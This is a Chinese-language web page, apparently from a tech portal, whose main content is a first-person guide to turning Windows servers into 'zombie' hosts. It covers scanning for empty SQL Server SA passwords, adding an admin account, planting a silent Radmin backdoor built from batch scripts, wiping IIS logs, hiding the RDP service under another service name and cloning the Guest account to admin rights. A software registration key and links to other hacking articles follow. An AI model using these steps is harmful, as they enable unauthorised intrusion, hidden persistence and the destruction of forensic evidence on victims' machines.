将主机变成肉鸡?入侵3389终端的详细过程
这多是本人多年下来的经验。
工具:WINNTAutoAttack自动攻击器(扫漏洞);SQLTOOLS(SA空口令连接器);RAMDIN影子3.0中文版(远程控制程序)(RADMIN注册码):
08US9A95I lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA6A5KKZRHc5GVMIybWomK6rNwoj8mYy8LXRFi23);SC.exe port.bat query.exe quser.exe(隐藏3389服务及不让管理发现自己程序);CleanIISLog.exe(小榕的擦PP程序);3389.exe(开3389端口服务的);psu.exe(使用被禁止的Guest帐户要用到的);mstsc.exe(远程桌面连接程序)。
一.扫到SA弱口令(自动攻击器)
二.用SQLTOOLS连上去建一个用户net start telnet 开telnet服务
net user mint mint /add 添加用户mint密码为mint
net localgroup administrators mint /add 将帐号mint升级为管理员
三.上传后门程序RAD.EXE(RADMIN服务端自解压程序)
制作RAD.EXE过程:
1、到Radmin安装目录下找到AdmDll.dll、 raddrv.dll和r_sever.exe;
2、在本地设置服务端(一定要生成);
设置密码-->>设置连接端口(默认4489)-->>生成
3、导出注册表HKEY_LOCAL_MACHINE\\SYSTEM\\Radmin的键值为1.reg;
4、编写一个批处理,并命名为u.bat;@echo offnet stop r_server
5、写第二个批处理,r.bat,内容为:@echo off@Explorer.exe /uninstall /silence@Explorer.exe /install /silence@regedit /s 1.reg@echo off@Explorer.exe /uninstall /silence@Explorer.exe /install /silence@regedit /s 1.reg@net start r_server@del rad.exe@del 1.reg@del r.bat@del u.bat
6、将AdmDLL.dll raddrv.dll Explorer.exe(r_sever.exe改名) u.bat r.bat压缩成Rad.RAR压缩包;
7、将Rad.rar制作成自解压文件;
选择Default.sfx的自释放模块-->>高级自释放选项
-->>常规
释放路径:%systemroot%\\system32
安装程序:释放后运行:r.bat 释放前运行u.bat
-->>摸式
缄默模式:全部隐藏 覆盖方式:覆盖所有文件
-->>确定-->>确定
生成完成。
四.用RADMIN客服端连接上传文件到c:\\WINNT(XP是windows):
port.bat(如果是在XP下,这个要把里面的WINNT改为Windows)
query.exe quser.exe
SC.exe
CleanIISLog.exe.exe
3389.exe
psu.exe
最好再上传一个反弹后门RADMIN进入TELNET。
运行c:\\winnt\\3389.exe,重启肉鸡。
五.重启后用远程桌面远程器连上去
这里就有时会出现个问题。
使用3389登陆,发现登陆用户已满,不用怕,我们把他踢出去。
telnet对方ip,发现需要 NTLM 身份验证。我们在自己的电脑里建立一个帐号mint密码为mint身份为管理员。
找到c:\\winnt\\system32\\cmd.exe 建立一个快捷方式到桌面。修改cmd的快捷方式属性为允许其他身份登陆。然后运行桌面上的cmd.exe的快捷方式。输入帐号mint密码mint,telnet对方ip,直接可以登陆对方电脑了。
使用命令:
c:\\query user (查看对方目前终端登陆状况。)
运行命令:
c:\\logoff 1(踢出去一个管理者)
再用c:\\query user检查一便~~(这就是为什么不马上用1.bat了)
六.连上后..在cmd下运行
c:\\winnt\\log . 自己的IP .(擦PP)
c:\\winnet\\1.bat (删除覆盖查看当前在线用户文件)
七.打SA空口令补丁
程序-->>Microsoft SQL Server-->>查询分析器(有放大镜的)
-->>Windowst身位验证登陆
复制一下代码:SELMISif exists (select * from
dbo.sysobjects where id = object_id(N\’[dbo].[xp_cmdshell]\’) and
OBJECTPROPERTY(id, N\’IsExtendedProc\’) = 1)
exec sp_dropextendedproc N\’[dbo].[xp_cmdshell]\’
GO按F5(运行),关了退出SQL Server再用SQL Server身位验证进一次,退出(这是为了不留下记录)。
八.改3389端口和服务名称修改服务器端的端口设置,注册表有2个地方需要修改。
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp],PortNumber值,默认是3389,选择10进制,修改成所希望的端口,比如1314。
第二个地方:
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] PortNumber值,默认是3389,选择10进制,修改成所希望的端口,比如1314。
要重启系统才能用新端口连。(不急..改了他的服务名再重启系统吧)
导出3389服务的
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermService]
的键值为mm.reg文件。编辑mm.reg文件,替换TermService为Alerter(错误警告服务..别的服务也行) 。再把第十行的"Description"="(这里是服务说明,改为你所换的服务说明,这里改为通知所选用户和计算机有关系统管理级警报。)"第十一行的"DisplayName"="(这里是服务名称,改为你所换的服务名称,这里改为Alerter)。保存,再导入注册表(这里要先运行Services.msc(可在CMD下打这命令)服务管理器..把Alerter的服务先停止)。
再在CMD下CD c:\\winnt\\system32copy termsrv.exe service.exe(这里是复制termsrv.exe为Alerter服务文件名差不多的文件)CD C:\\winntsc \\\\127.0.0.1 config Alerter binpath= c:\\winnt\\system32\\service.exe(这里是从新定向Alerter服务文件.服务名一定要区分大小写A要大写)
九.注消后(注消比直接关要好些)用Radmin重启肉鸡
十.使用被禁用的帐户[Guest]登陆,删除自己开始建的帐号
1.使用psu.exe展开注册表到
HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users
用法:[psu -p regedit -i pid]
Pid 的值为在任务栏空白处点右键-->>任务管理器--->>进程中的winlogon.exe后面的数值就是PID数值。
如:psu –p regedit –i 157
将Guest克成管理员权限,克成管理员权限的方法:
找到HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\Administrator的类型值。
在HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\下找到这个类型值在复制数值名为F的数值数剧覆盖相应的Guest的类型值(找的方法一样)。
导出Guest的配置(也就是导出HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Guest和他相应的类型值的数据),然后删除Guest的配置。
2.查看计算机管理中帐户列表,刷新这时候会出现错误[找不到帐户](跳过这步也行)。
3.将Guest的配置(二个REG文件导进注册表)。
4.修改Guest帐户密码,命令行下禁用Guest帐户[一定是命令行下]。net user Guest **** [修改密码]net user Guest /active:yesnet user Guest /active:no[命令行下禁用Guest]
5.实验被禁止的帐户Guest是否可用。
6.用Guest登陆后删除自己建的帐号。net user mint /del整个过程结束。
最后最好把RADMIN的服务也改了,多留个后门多条路,呵呵。整个过程全部结束,这机子就真正变成你的肉鸡了。
asp程序是如何得到客户端Session?
Web应用程序是通过2种方式来判断和跟踪不同用户的:Cookie或者Session(也叫做会话型Cookie)。其中Cookie是存储在本地计算机上的,过期时间很长,所以针对Cookie的攻击手段一般是盗取用户Cookie然后伪造Cookie冒充
详情2018-03-05 12:18:01责编:llp 来源:驱动管家velocity是什么?velocity parse 函数的用法
一 背景及描述Velocity是一个基于java的模板引擎(template engine),它允许任何人仅仅简单的使用模板语言(template language)来引用由java代码定义的对象。我们知道,越是功能强大、函数丰富的渲染层语言
详情2018-01-28 18:06:36责编:llp 来源:驱动管家有哪些破解oracle数据库密码的方法?如何破解oracle数据库的密码?
要连接远程的 Oracle 数据库,需要知道 SID,用户名, 密码,当然还有最重要的 IP 地址。SID 如果被管理 员修改的话,可以利用 sidguess 来进行破解,速度非常的快,至于成功与否,就要看你的字典配置
详情2018-01-16 16:00:01责编:llp 来源:驱动管家个人博客系统程序pjblog的漏洞分析利用
影响版本:PJBlog 3 0 6 170程序介绍:PJBlog一套开源免费的中文个人博客系统程序,采用asp+Access的技术,具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术。漏洞分析:在文件class cls_logAction a
详情2018-01-26 17:35:17责编:llp 来源:驱动管家畅无线应用破解中国移动wifi,提供免费无线上网服务
近日,一款名为“畅无线”的应用蹿红网络,原因在于,它利用中国移动的WiFi管理漏洞,为使用者提供免费的无线上网服务。该应用的开发商为上海云联计算机系统有限公司(以下简称云联),公司相关负责人向 记者表
详情2018-01-25 15:29:50责编:llp 来源:驱动管家黑客可以通过哪些方法入侵网络?科普黑客入侵的五十种方法
现在网上的攻击事件越来越多,黑客都是通过什么方法来攻击我们的呢?下面我们给大家总结了黑客入侵网络的五十种方法,让大家做到有备无患。1 网宽网络有限公司制作的网站基本都有注入漏洞 搜索网宽网络2 搜索栏
详情2018-02-10 17:07:21责编:llp 来源:驱动管家忘记windows xp系统密码怎么办?这里有几种可以破解登录密码的方法
Windows XP的使用过程中如果你是一个很容易遗忘的人,那么一定不要忘记在第一次设置密码的同时创建一张可以恢复Windows XP中的账户密码的启动盘,它可以让你免去格式化硬盘的烦恼。从“控制面板”中找到“用户
详情2018-02-04 15:25:16责编:llp 来源:驱动管家怎么抵挡ddos攻击?对付ddos攻击的三大方法
一、拒绝服务攻击的发展:从拒绝服务攻击诞生到现在已经有了很多的发展,从最初的简单Dos到现在的DdoS。那么什么是Dos和DdoS呢?DoS是一种利用单台计算机的攻击 方式。而DdoS(Distributed Denial of Service,
详情2018-01-15 16:04:28责编:llp 来源:驱动管家图片隐藏文件秘密的方法 文件秘密如何隐藏在图片中?
每个人都有自己的秘密,不过有些朋友却喜欢将秘密,以文件的形式放到电脑里,来供自己欣赏。虽然这些“秘密”放在电脑上大多都是加了密的,但是有些只能防止菜鸟破解,根本达不到真正隐藏的目的。于是笔者想了很
详情2018-02-04 13:20:07责编:llp 来源:驱动管家短信验证码真的安全吗?短信验证码诈骗威胁着我们
现在想换个手机越来越麻烦,很多APP要重新下,手机里保存的宝贝也要转移,有时候这些事情甚至让我放弃了换个更好的手机的想发,更不用说换手机号了。各种网站、邮箱、账号的绑定要重新解绑,各种银行要跑去柜台重
详情2018-01-18 11:25:43责编:llp 来源:驱动管家
- UG怎么画圆柱体?ug制作圆形立体柱的教程
- qlv格式转换成mp4格式的具体操作方法介绍
- 购买电脑的时候屏幕尺寸和分辨率应该怎么选择
- i5 7500和i3 8100哪个好 i3-8100对比i5-7500评测
- 微信发布了v2.6.2正式版 主要新增消息撤回后可重新编辑
- 微信:2017年度用户最喜爱的朋友圈广告投票结果
- 《消费者报告》评特斯拉Model3:好操控感 但也有不少缺陷
- 教你在xp系统下快速配置多个网关的方法
- 教你一招怎么直接在u盘上运行qq
- 坚果手机评测 看看这些数据就知道坚果手机值不值得买?
- 锤子m1评测 锤子m1使用分析报告
- 任务栏显示桌面图标不见的解决方法
- 电脑开机不能完成自检的五个常见原因
- 如何在冬虫草服务器上防止用户账户被修改?
- z blog后台权限怎么拿?这里有三种常用简单拿shell的方法
- 用迅捷pdf转换器编辑pdf文件内容的时候怎么编辑
- 电脑支付宝怎么抢咻一咻红包 支付宝电脑版抢红包的教程
- 在给电脑安装声卡驱动的时候进度条卡顿怎么解决
- 电脑的双路cpu是什么意思?双路cpu的介绍
- 英特尔今年利润将超出预期 股价将会上涨